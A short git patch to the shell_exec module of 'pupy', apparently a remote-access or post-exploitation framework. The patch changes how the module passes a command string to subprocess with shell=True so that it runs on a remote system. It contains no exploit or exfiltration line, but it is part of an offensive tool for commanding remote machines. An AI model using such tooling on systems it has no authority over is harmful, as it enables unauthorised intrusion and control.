From bfeb07898f9c47eb10a3652718d18b40a6249261 Mon Sep 17 00:00:00 2001 From: n1nj4sec Date: Tue, 19 Jan 2016 19:15:14 +0100 Subject: [PATCH] shell_exec simpified to avoid confusion and force escaping shell commands --- pupy/modules/shell_exec.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pupy/modules/shell_exec.py b/pupy/modules/shell_exec.py index 8d8accdd..cb5d6480 100644 --- a/pupy/modules/shell_exec.py +++ b/pupy/modules/shell_exec.py @@ -10,11 +10,11 @@ class ShellExec(PupyModule): """ execute shell commands on a remote system """ def init_argparse(self): self.arg_parser = PupyArgumentParser(prog='shell_exec', description=self.__doc__) - self.arg_parser.add_argument('argument', nargs='+') + self.arg_parser.add_argument('argument') def run(self, args): res="" try: - res=self.client.conn.modules.subprocess.check_output(' '.join(args.argument), stderr=subprocess.PIPE, stdin=subprocess.PIPE, shell=True, universal_newlines=True) + res=self.client.conn.modules.subprocess.check_output(args.argument, stderr=subprocess.PIPE, stdin=subprocess.PIPE, shell=True, universal_newlines=True) except Exception as e: if hasattr(e,'output') and e.output: res=e.output